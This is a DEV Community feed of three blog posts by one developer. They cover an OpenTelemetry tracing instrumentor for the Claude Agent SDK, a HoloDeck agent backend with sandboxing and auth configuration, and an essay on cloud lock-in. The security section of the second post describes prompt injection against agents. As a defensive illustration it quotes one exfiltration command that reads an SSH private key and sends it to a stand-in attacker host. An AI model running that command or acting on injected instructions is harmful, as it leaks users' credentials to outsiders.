DEV Community: Jeremiah Justin Barias

I Built an OpenTelemetry Instrumentor for Claude Agent SDK

Jeremiah Justin Barias — Mon, 02 Mar 2026 00:00:00 +0000

Background
The problem
What I built
The hooks thing
Getting started
What the traces look like
Rough edges and what's next

Background

A while back I wrote about going all-in on Claude Agent SDK for Holodeck. The short version: I decoupled Holodeck from Semantic Kernel through an abstraction layer, then hooked up Claude Agent SDK as a first-class backend — bash, filesystem, MCP tools, sandboxing, all native.

That post was about running agents. This one is about seeing what they're doing once they run.

With Semantic Kernel, this was a solved problem — it has native OpenTelemetry integration, so you got traces and metrics for free just by wiring up a provider. When I moved to Claude Agent SDK, that didn't exist. So I had to build it myself.

The problem

I started running longer agent sessions — multi-turn research tasks, code generation workflows, that kind of thing. And pretty quickly I realized I had no idea what was happening inside them.

Like, basic stuff:

How many tokens did a 10-turn conversation actually use?
Which tool calls are taking forever?
Did the agent error out on turn 5 and just keep going?

I could grep through logs, sure. But I wanted real traces — the kind where you open Jaeger or Grafana and see a waterfall of what happened, with timing, with parent-child relationships between agent turns and tool calls.

OpenTelemetry already has GenAI semantic conventions for exactly this. Nobody had built an instrumentor for the Claude Agent SDK yet. So I did.

What I built

opentelemetry-instrumentation-claude-agent-sdk — it's a Python package that monkey-patches query() and ClaudeSDKClient at runtime. Standard OTel instrumentor pattern, nothing fancy.

After you call .instrument(), every agent invocation gets:

An invoke_agent span with model, token counts (input, output, cache hits), finish reason, conversation ID
execute_tool child spans for each tool call — Bash, Read, Write, MCP tools, whatever
Histograms for token usage and operation duration

It follows the GenAI semconv spec, so these traces look like any other LLM provider in your existing dashboards. That was important to me — I didn't want to invent custom attributes that only work with Claude.

It only depends on opentelemetry-api and wrapt at runtime (not the SDK), so if you don't configure a TracerProvider, it's literally zero overhead — the OTel no-op path handles it.

Here's what .instrument() actually does under the hood:

┌─────────────────────────────────────────┐
│ ClaudeAgentSdkInstrumentor.instrument() │
└─────────────────────────────────────────┘
                         │
                         ▼
  Monkey-patches 4 SDK methods via wrapt:

  ┌─────────────────────┐
  │ wrapt.wrap query() │
  │ -> _wrap_query │
  └─────────────────────┘

  ┌────────────────────────────────────────┐
  │ wrapt.wrap ClaudeSDKClient. __init__ () │
  │ -> _wrap_client_init │
  └────────────────────────────────────────┘

  ┌─────────────────────────────────────┐
  │ wrapt.wrap ClaudeSDKClient.query() │
  │ -> _wrap_client_query │
  └─────────────────────────────────────┘

  ┌────────────────────────────────────────────────┐
  │ wrapt.wrap ClaudeSDKClient.receive_response() │
  │ -> _wrap_client_receive_response │
  └────────────────────────────────────────────────┘

                         │
                         ▼
  At call time, wrappers do:

  ┌─────────────────────────────────┐ ┌──────────────────────────────────┐ ┌────────────────────────────────────────────────────┐
  │ _wrap_query (standalone path) │ │ _wrap_client_init │ │ _wrap_client_query + _wrap_client_receive_response │
  │ │ │ │ │ │
  │ 1. inject hooks into options │ │ 1. call original __init__ () │ │ 1. query(): create span, set context │
  │ 2. create invoke_agent span │ │ 2. inject hooks into options │ │ 2. receive_response(): async iterate │
  │ 3. set InvocationContext │ │ 3. store OTel config on instance │ │ - intercept AssistantMessage │
  │ 4. async iterate wrapped() │ │ │ │ - intercept ResultMessage │
  │ - intercept AssistantMessage │ │ │ │ 3. record metrics, end span │
  │ - intercept ResultMessage │ │ │ │ │
  │ 5. record metrics, end span │ │ │ │ │
  └─────────────────────────────────┘ └──────────────────────────────────┘ └────────────────────────────────────────────────────┘

  │
  ▼
  All paths inject hooks into options:

  ┌───────────────────────────────────────────┐
  │ Injected Hooks (via merge_hooks) │
  │ │
  │ PreToolUse -> open execute_tool span │
  │ PostToolUse -> close span (success) │
  │ PostToolUseFail-> close span (error) │
  │ SubagentStart -> (future: subagent span) │
  │ SubagentStop -> (future: close span) │
  └───────────────────────────────────────────┘

The hooks thing

This is the part I'm actually proud of.

The Claude Agent SDK has a hook system — PreToolUse, PostToolUse, PostToolUseFailure, etc. Most people probably ignore them. But they're perfect for instrumentation.

The naive approach would be to parse tool calls out of the response stream after they finish. That works, but you lose accurate timing, and you can't catch failures cleanly.

Instead, I register hook callbacks. When a tool starts, PreToolUse fires and I open a span. When it finishes, PostToolUse closes it. If it crashes, PostToolUseFailure closes it with an error. Simple.

PreToolUse("Bash", tool_use_id="xyz") -> span starts
  ... tool runs ...
PostToolUse("Bash", tool_use_id="xyz") -> span ends

The tool_use_id lets me correlate start and end events even when multiple tools run. And the hooks are merged after any hooks you've already set up, so the instrumentation stays out of your way.

You can also opt into capturing tool arguments and results with capture_content=True. It's off by default because you probably don't want prompt contents showing up in your trace backend.

Getting started

pip install opentelemetry-instrumentation-claude-agent-sdk[instruments]

Minimal setup:

from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import SimpleSpanProcessor, ConsoleSpanExporter
from opentelemetry.instrumentation.claude_agent_sdk import ClaudeAgentSdkInstrumentor

provider = TracerProvider()
provider.add_span_processor(SimpleSpanProcessor(ConsoleSpanExporter()))

ClaudeAgentSdkInstrumentor().instrument(tracer_provider=provider)

Or if you use opentelemetry-instrument for auto-instrumentation, it just picks it up — the instrumentor is registered as an entry point.

opentelemetry-instrument python my_agent_app.py

Two lines if you already have a global TracerProvider:

from opentelemetry.instrumentation.claude_agent_sdk import ClaudeAgentSdkInstrumentor
ClaudeAgentSdkInstrumentor().instrument()

What the traces look like

Here's roughly what a multi-turn session looks like in your trace viewer:

invoke_agent [3.2s, 1847 in / 423 out tokens]
├── execute_tool "Bash" [0.8s]
├── execute_tool "Read" [0.1s]
└── execute_tool "mcp__github" [1.4s, type=extension]

invoke_agent [1.1s, 2103 in / 187 out tokens]
└── execute_tool "Write" [0.05s]

Both invoke_agent spans share the same gen_ai.conversation.id, so you can track a whole session. MCP tools get tagged as type=extension, built-in ones as type=function — handy if you want to see how much time your agent spends in external tools vs native ones.

Here's the invoke_agent span in the Aspire dashboard — you can see token counts, model, finish reason, and conversation ID all as span attributes:

And drilling into an execute_tool child span, you get the tool name, type, and the MCP tool path:

Rough edges and what's next

This is alpha. It works, I'm using it, but there's stuff I haven't gotten to yet:

Subagent tracking — the hooks are wired for SubagentStart/SubagentStop but I haven't built the spans yet
Content capture on agent spans — right now capture_content only covers tool args/results, not the full prompt/response

It's MIT-licensed on GitHub. If you're running Claude agents and want to actually see what they're doing, try it out. If something's broken, file an issue.

Previously: "You Don't Need Any Other Agent Framework" — where I talked about decoupling Holodeck from Semantic Kernel and hooking up Claude Agent SDK as a first-class backend.

You Don't Need Any Other Agent Framework, You Only Need Claude Agents SDK

Jeremiah Justin Barias — Wed, 25 Feb 2026 00:00:00 +0000

I've spent months building HoloDeck — a no-code agent platform where you define agents, tools, evaluations, and deployments in pure YAML. It supports OpenAI, Azure, Ollama via Semantic Kernel. And as of v0.5.0, it supports Claude Agents SDK as a first-class backend.

Now, here's a hot take: after building both backends side by side, I'm convinced Claude Agents SDK is the only agent framework most developers actually need.

If you read my previous post on bash/filesystem-based agentic systems, you already know I'm a fan of agents that work with your tools, not agents that try to replace them. Claude Agents SDK nails this. It gives you a process with bash, file I/O, MCP tool access, extended thinking, and structured output — out of the box.

Why Claude Agents SDK
How HoloDeck Runs Claude Under the Hood
The Bridges and Adapters I Built
Custom Tools Are Just MCP Servers
What's Supported Today
Security: Sandboxing and Secure Deployment
Using Claude Agents SDK Without an Anthropic API Key
Auth: Local Experimentation vs Production
What's Coming Next
Wrapping Up

Why Claude Agents SDK

Most agent frameworks give you a library. You import classes, wire up chains, manage state, and pray that your tool-calling loop doesn't hit an edge case.

Claude Agents SDK gives you a process. An actual subprocess that:

Has bash access (configurable, with excluded commands)
Can read, write, and edit files
Runs MCP tools natively
Supports extended thinking (deep reasoning with token budgets)
Returns structured output validated against JSON schemas
Manages multi-turn sessions with conversation continuity
Supports subagents for parallel task execution

This isn't "here's an LLM wrapper with tool use." This is "here's an autonomous coding agent you can point at any problem." The same engine that powers Claude Code, now available as an SDK.

In my previous post, I talked about how bash + filesystem is the real agentic memory layer — not some vector database, not some custom state manager. Claude Agents SDK is the natural evolution of that idea. The agent is a process. Its memory is the filesystem. Its tools are MCP servers.

How HoloDeck Runs Claude Under the Hood

HoloDeck doesn't wrap Claude in some brittle API adapter. It spawns the Claude Agent SDK as a separate Node.js subprocess , then communicates via a structured message protocol. Think of it like running a very smart CLI tool — you send a prompt in, you get structured messages back.

Here's the architecture:

┌──────────────────────────────────────────────────────────────────┐
│                    HoloDeck (Python process)                     │
│                                                                  │
│ ┌───────────────┐  ┌───────────────┐  ┌─────────────────────┐    │
│ │ holodeck test │  │ holodeck chat │  │ holodeck serve (SK) │    │
│ │  (TestExec)   │  │  (ChatSess)   │  │   (future Claude)   │    │
│ └───────────────┘  └───────────────┘  └─────────────────────┘    │
│        │                │                                        │
│        ▼                ▼                                        │
│ ┌─────────────────────────────────────────────────────┐          │
│ │                   BackendSelector                   │          │
│ │ provider: anthropic ────────────────► ClaudeBackend │          │
│ │ provider: openai / azure / ollama ──► SKBackend     │          │
│ └─────────────────────────────────────────────────────┘          │
│                         │                                        │
│                         ▼                                        │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │                   ClaudeBackend                              │ │
│ │                                                              │ │
│ │ ┌───────────────┐  ┌─────────────┐  ┌──────────────────────┐ │ │
│ │ │ Tool Adapters │  │ MCP Bridge  │  │    OTel Bridge       │ │ │
│ │ │ (in-process   │  │ (external   │  │ (env var translator) │ │ │
│ │ │  MCP server)  │  │  MCP stdio) │  │                      │ │ │
│ │ └───────────────┘  └─────────────┘  └──────────────────────┘ │ │
│ │        │                │                                    │ │
│ │        ▼                ▼                                    │ │
│ │ ┌────────────────────────────────────────────────────┐       │ │
│ │ │ ClaudeAgentOptions                                 │       │ │
│ │ │ {model, system_prompt, mcp_servers, env,           │       │ │
│ │ │  permission_mode, max_turns, allowed_tools, ...}   │       │ │
│ │ └────────────────────────────────────────────────────┘       │ │
│ └──────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
                              │
           stdin: AsyncGenerator[prompt]
           stdout: AssistantMessage | UserMessage | ResultMessage
                              │
                              ▼
┌────────────────────────────────────────────────────────┐
│        Claude Agent SDK (Node.js subprocess)           │
│                                                        │
│ ┌────────────────────────────────────────────────────┐ │
│ │ Claude Model (sonnet, opus, haiku, etc.)           │ │
│ │                                                    │ │
│ │ Tools:                                             │ │
│ │  ├── holodeck_tools (in-process MCP server)        │ │
│ │  │    ├── vectorstore_search                       │ │
│ │  │    └── hierarchical_doc_search                  │ │
│ │  ├── external MCP servers (stdio transport)        │ │
│ │  ├── bash (configurable, with excluded commands)   │ │
│ │  ├── file read/write/edit (toggleable)             │ │
│ │  └── web search (optional)                         │ │
│ └────────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────────┘

The key insight: the Claude subprocess manages its own tool loop. HoloDeck doesn't manually orchestrate "call LLM → parse tool call → execute tool → feed result back." The SDK does all of that internally. HoloDeck's job is to:

Assemble the right configuration (tools, auth, observability, system prompt)
Send the prompt in
Collect the structured results coming back

This is fundamentally simpler than the Semantic Kernel path where you have to manage ChatHistory, tool plugins, function call routing, and all the plumbing yourself.

The Bridges and Adapters I Built

To make HoloDeck's existing tools and infrastructure work seamlessly with Claude Agents SDK, I built three bridge layers.

Tool Adapters (`tool_adapters.py`)

HoloDeck has rich tool implementations — VectorStoreTool for semantic search, HierarchicalDocumentTool for structure-aware document retrieval with contextual embeddings, hierarchy tracking, and hybrid search. These are Python objects with initialized connections to vector databases, embedding models, and keyword indexes.

The tool adapters wrap these live Python tool instances as an in-process MCP server that the Claude subprocess can invoke. Each adapter creates @tool-decorated handler functions with proper JSON schemas, then bundles them into a McpSdkServerConfig.

VectorStoreTool (Python, initialized with vector DB connection)
        │
        ▼
VectorStoreToolAdapter.to_sdk_tool()
        │
        ▼
@tool("vectorstore_search", schema={...})
async def search(query: str, top_k: int) -> str:
    return await tool_instance.search(query, top_k)
        │
        ▼
build_holodeck_sdk_server()
        │
        ▼
McpSdkServerConfig(name="holodeck_tools", tools=[...])
        │
        ▼
Registered as mcp_servers["holodeck_tools"] in ClaudeAgentOptions

One subtle but critical detail I had to figure out: the prompt must be sent as an AsyncGenerator — not a plain string — to keep stdin open for bidirectional MCP communication. A string prompt closes stdin immediately, which kills the in-process MCP server's ability to respond. I learned this the hard way after debugging a ProcessTransport error for way too long.

MCP Bridge (`mcp_bridge.py`)

HoloDeck users configure external MCP tools in YAML — database servers, API connectors, custom tooling, whatever. The MCP bridge translates HoloDeck's MCPTool config format into the McpStdioServerConfig TypedDicts that Claude Agents SDK expects.

It handles:

Three-level env var resolution: process env → .env file → explicit YAML overrides
${VAR} substitution in config values
JSON config blobs serialized into MCP_CONFIG env var for complex tool configuration
Transport filtering — Claude subprocess only supports stdio, so SSE/WebSocket/HTTP tools are skipped with a warning

OTel Bridge (`otel_bridge.py`)

HoloDeck has a comprehensive ObservabilityConfig Pydantic model for OpenTelemetry — traces, metrics, logs, the works. But the Claude subprocess runs as a separate process, so you can't pass spans or meters across the process boundary. The bridge translates the config into environment variables that the subprocess reads:

HoloDeck Config	Subprocess Env Var
`exporters.otlp.endpoint`	`OTEL_EXPORTER_OTLP_ENDPOINT`
`exporters.otlp.protocol`	`OTEL_EXPORTER_OTLP_PROTOCOL`
`traces.capture_content`	`OTEL_LOG_USER_PROMPTS` + `OTEL_LOG_TOOL_DETAILS`
`metrics.export_interval_ms`	`OTEL_METRIC_EXPORT_INTERVAL`
`metrics.enabled`	`OTEL_METRICS_EXPORTER` (`"otlp"` or `"none"`)

Privacy is default-safe — content capture is off unless explicitly enabled. Your prompts and tool details stay private by default.

Custom Tools Are Just MCP Servers

This is where the elegance of Claude Agents SDK really shines. When you build custom tools for the SDK, you're not learning some proprietary plugin API. You're building an MCP server.

That's it. Your tool is an MCP server. Claude knows how to call MCP servers. The tool gets a name, a JSON schema for its inputs, and a handler function. The SDK packages it as an internal MCP server that the Claude subprocess communicates with via the standard MCP protocol.

from claude_agent_sdk import tool, create_sdk_mcp_server

@tool(name="search_docs", description="Search documentation", schema={...})
async def search_docs(query: str, top_k: int = 5) -> str:
    results = await my_search_engine.search(query, top_k)
    return format_results(results)

server = create_sdk_mcp_server(name="my_tools", tools=[search_docs])

This means:

Tools are testable in isolation — they're just functions
Tools are reusable — any MCP client can call them
Tools compose naturally — multiple servers, each with their own tools
No framework lock-in — MCP is an open protocol

Compare this to Semantic Kernel where you need to create a KernelPlugin, register it with the kernel, handle the FunctionCallContent types, and manage the invocation lifecycle yourself. With Claude Agents SDK, you decorate a function and you're done.

What's Supported Today

As of HoloDeck v0.5.0, here's what works with provider: anthropic:

Core Features

holodeck test — Run your eval suite against Claude agents. Each test case is a stateless invoke_once() call with full evaluation metrics (BLEU, ROUGE, G-Eval, RAG faithfulness, etc.)
holodeck chat — Interactive multi-turn chat with streaming. Token-by-token output with a spinner until the first chunk arrives. Session continuity via session_id.
HoloDeck tools as native Claude SDK tools — VectorStoreTool and HierarchicalDocumentTool work seamlessly through the in-process MCP adapter. The agent calls them just like any other tool.
Structured outputs — Configure a JSON schema (inline or file path) and the response is validated at startup and at inference time. Invalid schemas fail fast.
Custom system prompts — Your instructions (file or inline) become the Claude subprocess's system_prompt. Full control over agent behavior.
OpenTelemetry — Full observability pipeline. Traces, metrics, and logs forwarded to your OTLP collector through the OTel bridge.
OAuth token auth — Use auth_provider: oauth_token for local development with your Claude Code credentials.

Claude-Specific Capabilities

Extended thinking with configurable token budgets (1,000-100,000 tokens)
Built-in web search
Bash execution with excluded command lists
File system access (read/write/edit individually toggleable)
Subagent execution (1-16 parallel)
Permission modes (manual, acceptEdits, acceptAll)
Max turns limit with automatic detection
5 auth providers: api_key, oauth_token, bedrock, vertex, foundry

Security: Sandboxing and Secure Deployment

Here's the part where most "just use the API" agent frameworks hand-wave. Claude Agents SDK actually ships with serious, layered security — and if you're running agents that can execute bash commands and write files, you need this.

The Threat Model

Agents aren't traditional software that follows predetermined code paths. They generate actions dynamically based on context. That means they can be influenced by the content they process — files, web pages, user input. This is prompt injection, and it's a real risk when your agent has bash and file access.

The good news: Claude's latest models are among the most robust frontier models against prompt injection. But defense in depth is still good practice.

Built-in Sandboxing

Claude Agents SDK includes a sandboxed bash tool that enforces OS-level isolation — not just "we check the command string," but actual kernel-level enforcement:

macOS : Uses Apple's Seatbelt framework
Linux : Uses bubblewrap for namespace-based isolation
Windows (WSL2): Uses bubblewrap, same as Linux. WSL1 is not supported (requires kernel features only available in WSL2). Native Windows sandboxing is planned but not yet available.
Network isolation : All network access goes through a proxy — domain allowlists, not blocklists

┌─────────────────────────────────────────────────┐
│               Agent Sandbox                     │
│                                                 │
│ ┌─────────────────┐  ┌────────────────────────┐ │
│ │ Filesystem      │  │ Network (proxy-gated)  │ │
│ │ • CWD: r/w      │  │ • Only allowed domains │ │
│ │ • Rest: r/o     │  │ • All traffic proxied  │ │
│ │ • Denied dirs   │  │ • No direct egress     │ │
│ └─────────────────┘  └────────────────────────┘ │
│                                                 │
│ OS-level enforcement (Seatbelt / bubblewrap)    │
│ All child processes inherit restrictions        │
└─────────────────────────────────────────────────┘

This means even if an attacker successfully injects a prompt that tricks the agent into running curl evil.com/exfil?data=$(cat ~/.ssh/id_rsa), the network proxy blocks it. The agent literally cannot reach domains that aren't on the allowlist.

Configuring the Sandbox Programmatically

The SDK exposes all of this as a SandboxSettings TypedDict you can pass directly in your agent options:

from claude_code_sdk import SandboxSettings

sandbox_settings: SandboxSettings = {
    "enabled": True,
    # Auto-approve bash commands when sandboxed — no more approval fatigue
    "autoAllowBashIfSandboxed": True,
    # Commands that must run outside the sandbox (they use the normal permission flow)
    "excludedCommands": ["docker", "git push"],
    # Block the escape hatch — all commands MUST run sandboxed
    "allowUnsandboxedCommands": False,
    "network": {
        # Only these Unix sockets are accessible
        "allowUnixSockets": ["/var/run/docker.sock"],
        # Allow binding to localhost ports (for dev servers, etc.)
        "allowLocalBinding": True
    },
    # For running inside unprivileged Docker (weaker security, use with caution)
    "enableWeakerNestedSandbox": False,
}

The key fields:

Field	Default	What it does
`enabled`	`False`	Turn on OS-level bash sandboxing
`autoAllowBashIfSandboxed`	`True`	Skip permission prompts for sandboxed commands
`excludedCommands`	`[]`	Commands that run outside the sandbox (e.g., `docker`, `git`)
`allowUnsandboxedCommands`	`True`	Allow `dangerouslyDisableSandbox` escape hatch. Set to `False` for strict mode.
`network.allowUnixSockets`	`[]`	Unix sockets accessible from within the sandbox
`network.allowLocalBinding`	`False`	Allow processes to bind to localhost ports
`enableWeakerNestedSandbox`	`False`	Linux-only: weaker sandbox for unprivileged Docker. Reduces security significantly.

The autoAllowBashIfSandboxed flag is particularly nice for CI/CD and automated testing. Instead of the agent asking for permission on every ls, grep, and cat, sandboxed commands just run. But if the command tries to reach a blocked domain or write outside the sandbox, it fails at the OS level — no prompt needed, just a hard block.

Setting allowUnsandboxedCommands: False is the strict mode. It completely disables the dangerouslyDisableSandbox escape hatch, forcing every bash command to run inside the sandbox. Combined with excludedCommands for the handful of tools that genuinely can't be sandboxed (like Docker), this gives you a tight security posture.

Production Hardening

For production deployments, Anthropic's secure deployment guide lays out a serious defense-in-depth strategy:

Container isolation with zero network:

docker run \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --read-only \
  --network none \
  --memory 2g \
  --pids-limit 100 \
  --user 1000:1000 \
  -v /path/to/code:/workspace:ro \
  -v /var/run/proxy.sock:/var/run/proxy.sock:ro \
  agent-image

The --network none flag removes all network interfaces. The only way out is through a Unix socket connected to a proxy running on the host. That proxy enforces domain allowlists, injects credentials, and logs everything.

The proxy pattern for credentials is particularly elegant. Instead of giving the agent an API key, you run a proxy outside the agent's security boundary that injects credentials into outgoing requests. The agent makes requests without credentials → the proxy adds them → forwards to the destination. The agent never sees the actual secrets.

Isolation technology options:

Technology	Isolation Strength	Overhead	Use Case
Sandbox runtime	Good	Very low	Local dev, CI/CD
Docker + `--network none`	Setup dependent	Low	Standard deployment
gVisor (`runsc`)	Excellent	Medium-High	Multi-tenant, untrusted content
Firecracker VMs	Excellent	High	Maximum isolation

What HoloDeck Does Today

HoloDeck's ClaudeBackend already implements several security practices:

Pre-flight validators catch misconfigurations before the subprocess starts (missing Node.js, invalid credentials, embedding provider mismatches, working directory collisions with existing CLAUDE.md files)
Credential injection via subprocess env vars — auth tokens are scoped to the subprocess, not global
Permission mode mapping — acceptEdits and acceptAll are escalated to bypassPermissions only in test mode (non-interactive automation). In chat mode, the configured permission level is respected.
Tool allowlists via claude.allowed_tools — explicitly restrict which MCP tools the agent can invoke

The sandboxing and proxy patterns from the SDK docs will naturally compose with HoloDeck's deployment pipeline (holodeck deploy) once we add Claude backend support to holodeck serve.

Using Claude Agents SDK Without an Anthropic API Key

Here's something most people don't realize: the Claude Agents SDK doesn't have to talk to Anthropic's servers. It speaks the Anthropic API protocol, and any endpoint that implements that protocol works. Ollama does exactly this — it exposes an Anthropic-compatible endpoint that the SDK can talk to natively.

As documented in the Ollama integration guide, you can point the SDK at a local Ollama instance by setting ANTHROPIC_BASE_URL:

export ANTHROPIC_BASE_URL=http://localhost:11434

To be clear: the SDK does not support OpenAI-compatible endpoints. It speaks the Anthropic Messages API. Ollama works because Ollama implemented the Anthropic API format on their side. Any provider that does the same (or any proxy that translates to it) will work too.

This means you can experiment with the Claude Agents SDK tooling, MCP integration, and agent patterns using local models — completely free, completely offline. The SDK's tool-calling loop, structured output, and session management all work the same way regardless of what's behind the endpoint.

Obviously you won't get Claude-level reasoning from a local 7B model, but for testing tool integration, MCP server development, and agent workflow design, it's perfectly usable.

Auth: Local Experimentation vs Production

One of the friction points with agent SDKs is authentication. Claude Agents SDK makes this surprisingly painless for local development.

As Thariq pointed out on X, using your CLAUDE_CODE_OAUTH_TOKEN for local experimentation is actually allowed. This means if you have Claude Code installed and authenticated, you can build and test custom agents without setting up a separate API key.

In HoloDeck, this is a simple YAML toggle:

model:
  provider: anthropic
  name: claude-sonnet-4-20250514
  auth_provider: oauth_token # Uses CLAUDE_CODE_OAUTH_TOKEN

However — and this is important — when you ship these agents to production, you must use an Anthropic API key. The OAuth token is tied to your personal Claude Code session. It's not meant for server-side deployment.

For production:

model:
  provider: anthropic
  name: claude-sonnet-4-20250514
  auth_provider: api_key # Uses ANTHROPIC_API_KEY

Or if you're running through a cloud provider:

model:
  provider: anthropic
  name: claude-sonnet-4-20250514
  auth_provider: bedrock # or vertex, foundry

HoloDeck's validators check for the right credentials at startup and inject them into the subprocess environment, so you get a clear error if something's misconfigured rather than a cryptic 401 at inference time.

What's Coming Next

HoloDeck v0.5.0 is the foundation. Here's what we're building on top of it:

Hooks

Claude Agents SDK supports hooks — shell commands that execute in response to agent events (tool calls, message sends, etc.). We'll expose these as YAML config so you can add pre/post processing, logging, or validation to any agent action without writing code.

Agent Skills

Skills are reusable prompt-based capabilities that can be invoked by name. Think of them as composable building blocks — a "summarize" skill, a "code-review" skill, a "translate" skill — that agents can mix and match.

Subagents (Multi-Agent Swarms)

The SDK already supports parallel subagent execution. We'll expose this as a YAML pattern where you define a coordinator agent that spawns specialized worker agents. Swarm-style orchestration, configured in YAML.

`holodeck serve` for Claude Agents

Right now, holodeck serve only works with Semantic Kernel backends. We're adding Claude agent support so you can expose any provider: anthropic agent as an HTTP API endpoint — same REST interface, same AG-UI compliance.

`holodeck deploy` with Claude

Once serve supports Claude, deploy naturally follows. The deployment pipeline (Dockerfile generation, container build, cloud push) will use serve as the entrypoint into the container. You just swap the provider in your YAML and the container runs a Claude agent instead of an SK agent — with all the security hardening options from the SDK baked in.

Human-in-the-Loop Approvals

By combining permission_mode: manual (or acceptEdits) with hooks, you can build approval workflows where the agent pauses and waits for human confirmation before taking sensitive actions. Think: "the agent wants to run DELETE FROM users — approve or deny?"

Custom Anthropic Endpoints

Full support for routing through cloud providers — AWS Bedrock, Google Vertex AI, Azure Foundry — plus custom ANTHROPIC_BASE_URL for self-hosted endpoints and Ollama. Run the same agent YAML against any compatible backend.

Wrapping Up

I started building HoloDeck as a multi-backend platform because I thought you needed choice. And you do — for the transition period. But after building the Claude Agents SDK integration, I'm increasingly convinced it's the only agent runtime most teams need.

It's a process, not a library. It manages its own tool loop. It speaks MCP natively. It has bash, file I/O, extended thinking, structured output, and subagents built in. It ships with real sandboxing — OS-level enforcement, not just string matching on commands. And you can run it locally with Ollama if you want to experiment without an API key.

The Semantic Kernel backend isn't going anywhere — it powers OpenAI and Azure workloads and that's still valuable. But for new agents? I'd start with Claude Agents SDK every time.

If you're building agents today, stop gluing together LangChain chains or wrestling with AutoGen graphs. Just define your agent in YAML, point it at Claude, and let the SDK do what it does best.

name: my-agent
model:
  provider: anthropic
  name: claude-sonnet-4-20250514
  auth_provider: oauth_token
instructions:
  inline: "You are a helpful assistant."
claude:
  bash:
    enabled: true
  file_system:
    read: true
    write: true
  max_turns: 10

That's it. That's the whole framework.

Check out HoloDeck on GitHub and the Claude Agent SDK docs to get started.

Take Back the Stack. Your Cloud Provider Doesn't Want You To.

Jeremiah Justin Barias — Sun, 08 Feb 2026 00:00:00 +0000

Take Back the Stack. Your Cloud Provider Doesn't Want You To.

For the better part of a decade, I've watched organisations — hand over layer after layer of their engineering stack to cloud providers. And every single time, the justification was the same: "We don't have the skills to build this ourselves." Infrastructure? Outsource it. Platforms? Managed service. Data pipelines? Let AWS handle it. ML? Definitely outsource that.

And now it's happening again with AI agents. Azure has AI Foundry. AWS has Bedrock and AgentCore. Google has Vertex AI Engine. The pitch is identical to every pitch before it: "Don't build this. Consume ours. We'll handle the hard parts."

I'm tired of it. And for the first time, I think the excuse — "we can't build it ourselves" — is actually, provably, wrong.

How We Got Here

I get it. The outsourcing made sense for a long time. Running data centres was expensive and painful. Managing Kubernetes at scale required a team most organisations couldn't hire. Building ML pipelines from scratch was a PhD-level exercise.

So we moved to the cloud. Then we moved to managed services on the cloud. Then we moved to managed AI services on the cloud. Each step was rational. Each step also meant we understood less and less about our own systems.

The progression looked something like:

"We can't run data centres." Fair enough. "We can't manage Kubernetes." OK, sure. "We can't build ML pipelines." Debatable, but fine. "We can't build AI agents." Hang on.

That last one is where I draw the line. Because the thing that changed — the thing that most organisations haven't fully clocked yet — is that building software just got mass-democratised in a way that makes most of those "we can't" excuses evaporate.

The Agent Platform Gold Rush (And Why You Should Be Suspicious)

Every major cloud provider is now racing to become the platform where your AI agents live. Let me spell out what that actually means.

Azure AI Foundry — model catalogue, prompt management, agent orchestration, evaluation tooling. All inside Azure. All wired into Azure services. All making it progressively harder to leave Azure.

AWS Bedrock AgentCore — same play, different logo. Build your agents on AWS, connect them to your AWS data, orchestrate them with AWS primitives. Your agents become structurally dependent on AWS. That's not a bug; that's their business model.

Google Vertex AI Engine — you see where this is going.

Here's what bugs me. These aren't just hosting platforms. They're becoming the control plane for your AI strategy. They decide what models you can use, how your agents are orchestrated, what telemetry you get, how your data flows. And once you've wired fifty agents into their proprietary service mesh, your switching costs aren't just high — they're existential.

For a startup? Fine. Use the managed thing. Ship fast, worry about lock-in later. But if you're a large enterprise, a government agency, any organisation where your value comes from the systems you build and the data you hold — you're handing over the keys. Again.

For organisations that need to meet regulatory requirements, and government institutions that need to consider who their service providers are -- THIS IS A MATERIAL RISK.

Something Changed and Most People Missed It

While the cloud providers were building their agent hosting empires, something happened that completely rewrites the economics here.

Claude Code. Codex. Cursor. Cline. Aider. Pick your flavour.

These aren't your 2023 Copilot autocomplete toys. These are agentic coding assistants that build entire systems. They reason about architecture. They scaffold applications. They debug, refactor, write tests, and iterate across entire codebases. I've been using Claude Code daily for months and it still catches me off guard how much it can do.

Tasks that would've taken me a week — standing up a new service, wiring an API integration, building a deployment pipeline — now take an afternoon. Not because I'm cutting corners. Because the AI is doing 80% of the mechanical work and I'm doing the 20% that actually requires a brain: the architecture decisions, the domain logic, the "wait, that edge case will blow up in production" judgment calls.

And this is the part that matters: the reason we outsourced all those engineering layers was because building them in-house was expensive. You needed big teams. Deep expertise across a dozen domains. Months of runway.

What if that's not true anymore?

You Don't Need a 10x Team. You Might Need Three People.

I'm going to say something that'll annoy some people: the era of needing ten-person platform teams to build internal tooling is over. Or at the very least, the bar has dropped dramatically.

A single engineer who knows their domain and knows how to drive an AI coding assistant can now:

Scaffold infrastructure-as-code for an entire deployment pipeline in a day
Build a custom agent orchestration layer that's tailored to your actual needs
Write, test, and ship services at a pace that would've required a team of five
Automate the operational drudgery that used to eat an entire SRE team's week

I'm not saying fire your engineers, far from it. I'm saying the shape of the team changes. You don't need ten people doing ten things. You need two or three people who deeply understand your organisation, your architecture, and your constraints — and who can use AI to move at a pace that wasn't physically possible before 2024.

This is especially true for the kind of work that cloud providers want you to outsource. Agent orchestration? Pattern-heavy glue code. AI agents eat that for breakfast. Data pipeline wiring? Same. Deployment automation? Same. All the stuff that used to justify a managed service because "we don't have the headcount" — your headcount just got a 5x multiplier.

Some may say that outsourcing all these to an AI Agent provided by an AI lab could be a material risk as well, and that's a fair point. But using AI coding agents to build your own internal platforms is a fundamentally different proposition than outsourcing your entire agent strategy to a third-party service. The former is about augmenting your internal capabilities, while the latter is about relinquishing control.

Stop Letting IT Gatekeep Developer Platforms

OK, here's where I'm really going to step on some toes.

If you're a large organisation thinking about this, your instinct is going to be: "Let's get IT to build a centralised platform." Don't. Please.

I've lived through this movie. IT builds a "developer portal" (if you're lucky) that's actually a ticket queue with a React frontend. Need an environment? Raise a ticket. Need a database? Another ticket. Need a deployment slot? Ticket, two-week SLA, hope you weren't trying to ship something this quarter. By the time you're actually writing code, the business has moved on and someone's asking why "digital transformation" isn't delivering results.

The starting point should be building real developer platforms. Self-service. Automated. Opinionated where it matters, flexible where it doesn't. And here's the kicker — only developers will build what developers actually need.

